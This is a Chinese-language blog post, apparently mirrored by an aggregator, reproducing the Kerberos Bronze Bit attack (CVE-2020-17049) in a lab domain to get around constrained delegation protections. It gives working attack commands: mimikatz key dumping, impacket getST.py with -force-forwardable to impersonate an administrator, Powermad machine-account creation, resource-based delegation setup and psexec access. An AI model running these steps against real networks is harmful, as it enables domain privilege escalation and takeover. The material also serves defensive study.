12

Kerberos Bronze Bit Attack 绕过约束委派限制

 3 years ago
source link: https://y4er.com/post/kerberos-bronze-bit-attack/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Kerberos Bronze Bit Attack 绕过约束委派限制

2020-12-22 Kerberos
Share on:

Kerberos Bronze Bit Attack又称Kerberos青铜比特攻击,由国外netspi安全研究员Jake Karnes发现的漏洞,并且申请了CVE-2020-17049编号。

该漏洞解决了两个问题

  1. 禁止协议转换/协议过渡
  2. 受保护的用户和敏感用户不能被委派

具体设置表现为DC上设置Service1计算机账户为“仅使用Kerberos”而非“使用任何身份验证协议” image.png

image.png

spn服务账户sql设置为“敏感用户不能被委派”或者添加到“受保护的组”中(两者任选其一) image.png

image.png

image.png

image.png

image.png

image.png

利用场景:

  1. 传统的约束委派
  2. 基于资源的约束委派(滥用域账户的MachineAccountQuota属性)

下面进行复现

传统的约束委派绕过

  1. 已经爆破了一个用户[email protected] 密码为test123!@#
  2. 拿到Service1的hash
  3. Service1对Service2有信任的约束关系
  4. 攻击者充当Service1向Service2申请票据从而ptt到Service2

首先尝试常规的约束委派利用(参考我之前的文章

image.png

image.png

报错,说明这是“敏感用户不能被委派”和“受保护的组”的原因。

然后尝试Kerberos Bronze Bit Attack

首先需要Service1的hash和aeskey(这里可以通过提权获取Service1的hash,我这里使用Service1的本地管理员账号抓取)

runas /user:Service1\administrator mimikatz
privilege::debug
sekurlsa::ekeys

image.png

image.png

然后使用最新版的impacket请求票据

python3 getST.py -spn cifs/Service2.test.local -impersonate administrator -hashes AAD3B435B51404EEAAD3B435B51404EE:aa09cecb1728cd5cad6e779c7f370563 -aesKey 71f9caf9203575bbbe760e6a669d90cbe39be0b5a442496295e2f63990ee858f test.local/Service1 -force-forwardable

image.png

image.png

这样绕过了“敏感用户不能被委派”和“受保护的组”利用约束委派拿下来了Service2。

基于资源的约束委派绕过

先配置环境,首先删除上一步service1的委派权限 image.png

image.png

用adsi编辑器赋予域用户jack对service2写入权限 image.png

image.png

开始利用,首先需要通过powermad新加入一个计算机账户AttackerService,密码为AttackerServicePassword,用域账户jack登录service1

Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

image.png

image.png

因为密码是我们自定义的,所以可以用mimikatz计算出hash

image.png

image.png

然后使用PowerShell Active Directory模块添加基于资源的约束委派,即从AttackerService到Service2的传入信任关系。

Microsoft.ActiveDirectory.Management.dll在安装powershell模块Active Directory后生成,默认只在域控上有,可以从域控上导出。

Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-ADComputer AttackerService #确认机器账户已经被添加
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

image.png

image.png

设置好基于资源的约束委派之后就可以模拟用户申请票据了。

python3 getST.py -spn cifs/Service2.test.local -impersonate administrator -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable

hashes和aesKey参数来自于添加的机器用户AttackerService,mimikatz可以计算。

export KRB5CCNAME=administrator.ccache
python3 psexec.py -no-pass -k Service2.test.local

image.png

image.png

Kerberos Bronze Bit Attack可以绕过“敏感用户不能被委派”和“受保护的组”进一步利用约束委派,扩大了Kerberos的攻击面。

  1. https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK